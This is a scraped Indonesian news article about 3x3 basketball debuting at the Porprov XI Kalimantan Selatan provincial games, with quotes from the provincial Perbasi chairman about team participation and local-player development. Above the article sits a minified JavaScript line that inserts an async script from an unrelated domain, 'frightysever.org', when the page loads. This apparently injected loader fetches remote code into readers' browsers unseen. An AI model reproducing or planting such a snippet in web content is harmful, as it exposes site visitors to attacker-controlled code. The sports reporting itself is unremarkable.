(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KANDANGAN – Ajang olahraga multi event Pekan Olahraga Provinsi (Porprov) XI Kalimantan Selatan (Kalsel) di Kabupaten HSS perdana mempertandingkan 3×3 -biasa diucapkan Three On Three- cabang olahraga bola basket.
Persatuan Bola Basket Seluruh Indonesia (Perbasi) Kalimantan Selatan menyertakan kategori 3×3 atau Three On Three ini menjadi salah satu nomor lomba pada Cabor bola basket.
Sekadar diketahui, bola basket 3×3 adalah bentuk permainan yang dimainkan tiga sisi pada satu ring basket. Menurut sebuah studi Sekolah Bisnis ESSEC yang ditugaskan oleh Komite Olimpiade Internasional, 3×3 adalah olahraga tim perkotaan terbesar di dunia.
Nomor 3×3 ini merupakan yang pertama di ajang Porprov Kalsel dan disambut hangat oleh Panitia Besar Porprov XI Kalsel.
Baca juga : Atlet Muaythai Novie Amelia Sumbang Emas Perdana Kontingen HSU di Porprov XI Kalsel
Ketua Umum Perbasi Kalsel, Ratana Arya Krisnan mengatakan, dalam Porprov XI Kalsel di HSS, dari 13 kontingen cuma 2 dua daerah yang tidak mengirim tim 3×3 untuk putera. Sedangkan untuk puteri ada 7 tim dari 13 kontingen yang ikut serta.
“Ini tergantung kesiapan dan persiapan masing-masing Perbasi kabupaten/kota, Porprov memang sempat tertunda karena pandemi, ada juga umur atlet yang tidak bisa main lagi di Porprov,” jelasnya
Menurutnya, walau terjadi beberapa permasalahan tersebut, tidak menjadi penurunan yang signifikan dari mulai pendaftaran sampai digelar Porprov XI ini.
Ia mengakui seharusnya atlet basket yang mengikuti Porprov kali ini, mestinya mengikuti Kejuaraan Tingkat Provinsi (Kejurprov), dikarenakan pandemi sehingga Perbasi Kalsel vakum selama 2 tahun.
Baca juga : Kontingen Banjarbaru Pimpin Perolehan Medali Porprov XI Kalsel
“Waktu itu Perbasi mengeluarkan SK perihal pelarangan baik latihan hingga perlombaan,” akunya.
Dilanjutkannya, pihaknya sudah memberikan arahan kepada pengurus Perbasi Kalsel untuk melakukan pembinaan khusus putera daerah.
“Dari dulu saya punya prinsip bahwa pemain Pra PON dan PON Kalsel harus putera daerah, saya tidak ingin menggunakan pemain luar daerah,” tegasnya.
Dengan putera daerah sebagai wakil Kalsel, kata Arya langkah ini bisa membangkitkan animo atlet dan menggiatkan pembinaan di Kalsel.
Baca juga : Tradisi Batang Rape Sambut Paman Birin saat Turdes di Tanjung Seloka
“Saya akan memacu kabupaten kota dengan adanya ketentuan dari Perbasi Kalsel, harapannya kabupaten kota bisa melakukan pembinaan terarah dan terukur,” katanya.
Dikatakannya, pada Sabtu (5/11/2022) Three On Three sudah dimulai selama satu hari full, karena permainannya hanya 10 menit.
(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
This website uses cookies.